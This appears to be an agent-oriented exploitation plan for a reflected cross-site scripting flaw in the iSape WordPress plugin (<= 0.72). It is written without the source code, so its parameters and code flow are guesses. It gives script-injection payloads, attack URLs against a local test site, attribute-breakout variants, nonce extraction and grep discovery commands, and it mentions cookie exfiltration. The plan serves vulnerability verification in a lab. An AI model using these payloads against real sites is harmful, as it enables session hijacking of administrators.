iSape <= 0.72 - Reflected Cross-Site Scripting

Since the source code for iSape version 0.72 was not provided, this research plan is based on the vulnerability description (Reflected XSS), common patterns in legacy WordPress plugins, and the provided security knowledge base.

1. Vulnerability Summary

The iSape plugin (versions up to 0.72) is vulnerable to Reflected Cross-Site Scripting (XSS). This occurs because the plugin takes input from the user (typically via URL parameters in $_GET or $_POST) and reflects it back into the HTML response without adequate sanitization (using functions like sanitize_text_field) or context-aware output escaping (using functions like esc_html or esc_attr).

In the context of iSape (a plugin for integrating the SAPE link exchange), the reflection likely occurs in the plugin's settings page or a debugging/verification script that echoes back configuration parameters or status messages.

2. Attack Vector Analysis

• Endpoint: Likely an admin page (e.g., /wp-admin/admin.php?page=isape) or a frontend initialization hook.
• Parameter: To be determined via discovery, but common candidates in this plugin type include sape_user, page, message, or check.
• Authentication: Unauthenticated attackers can craft the link; however, the script executes in the context of the user who clicks it. If the reflection is in an admin dashboard, the target must be an Administrator.
• Preconditions: The iSape plugin must be active.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an admin menu or a hook (e.g., init or admin_init) that processes $_GET or $_POST variables.
2. Processing: The code retrieves a variable: $val = $_GET['some_param'];.
3. Sink: The code outputs this variable directly into the HTML: echo "<div>" . $val . "</div>"; or inside an attribute: echo '<input value="' . $val . '">';.
4. Execution: When a victim navigates to the malicious URL, the browser interprets the $val as HTML/JavaScript.

4. Nonce Acquisition Strategy

Reflected XSS typically occurs on GET requests and often does not involve nonce verification for the simple display of a parameter. However, if the reflection happens inside a wp_ajax_ handler or a settings-saving routine, a nonce might be present.

Discovery Strategy for Agent:

1. Identify the Admin Page: Use wp_cli to find the registered admin pages for isape.

   grep -rn "add_menu_page\|add_submenu_page" wp-content/plugins/isape/
   

2. Search for Sinks: Search for raw echoes of superglobals.

   grep -rP "echo\s+\\\$_(GET|REQUEST|POST)" wp-content/plugins/isape/
   

3. Check for Nonces: If the sink is in a function called by an action hook, check if check_admin_referer or wp_verify_nonce is used.
   • If a nonce is required: Create a page with the plugin's settings shortcode (if applicable) or navigate to the settings page as an admin using browser_navigate and extract the nonce using browser_eval("document.querySelector('#_wpnonce')?.value").

5. Exploitation Strategy

Once the vulnerable parameter is identified (let's assume it's sape_user on the settings page):

1. Craft Payload: Use a simple alert to prove execution or a cookie exfiltration script.
   • Payload: "><script>alert(document.domain)</script>
2. Construct URL:
   • URL: http://localhost:8080/wp-admin/admin.php?page=isape&sape_user="><script>alert(document.domain)</script>
3. Execute Request: Use the http_request tool or browser_navigate to simulate a logged-in admin clicking the link.
4. Capture Evidence: Check the response body for the unescaped payload or observe the alert trigger in the browser.

6. Test Data Setup

1. Install Plugin: Ensure isape version 0.72 is installed and activated.
2. Configure Plugin: The plugin might require a "SAPE User ID" to be saved before the settings page renders fully.

   wp option update isape_user_id "12345"
   

3. Identify Shortcodes: Search for shortcodes that might reflect input on the frontend.

   grep -rn "add_shortcode" wp-content/plugins/isape/
   

7. Expected Results

• Response Body: The HTML source will contain the literal string <script>alert(document.domain)</script> instead of the escaped <script>....
• Browser Context: If triggered via browser_navigate, an alert box (or a console log if using a more discreet payload) will appear.

8. Verification Steps

1. Manual Source Check: After triggering the request via http_request, search the response for the payload.

   // Example using http_request result
   if (response.body.includes('"><script>alert(document.domain)</script>')) {
       console.log("Vulnerability Confirmed: Unescaped reflection found.");
   }
   

2. Check for Sanitization: Verify if the code uses esc_html or esc_attr around the parameter. If these are missing in the source code at the identified line, the vulnerability is confirmed.

9. Alternative Approaches

• Header Reflection: Check if the plugin reflects $_SERVER['PHP_SELF'] or $_SERVER['REQUEST_URI'] inside a form action attribute.
  • Payload: /wp-admin/admin.php/page=isape/"><script>alert(1)</script>
• POST Reflection: If the XSS is reflected after a failed form submission, use http_request with the method: "POST" and the payload in the body.
• Attribute Breakout: If the reflection is inside an input value (e.g., <input value="REFLECTED_HERE">), ensure the payload starts with " to break out of the attribute.

10. Grep Patterns for Discovery

The agent should run these immediately upon starting:

# Search for the most common XSS sinks in WordPress plugins
grep -rnE "echo \$_GET|echo \$_REQUEST|echo \$_POST" wp-content/plugins/isape/

# Search for reflection of URL parts
grep -rnE "PHP_SELF|REQUEST_URI" wp-content/plugins/isape/

# Search for the registration of the admin page to find the 'page' slug
grep -rn "add_options_page" wp-content/plugins/isape/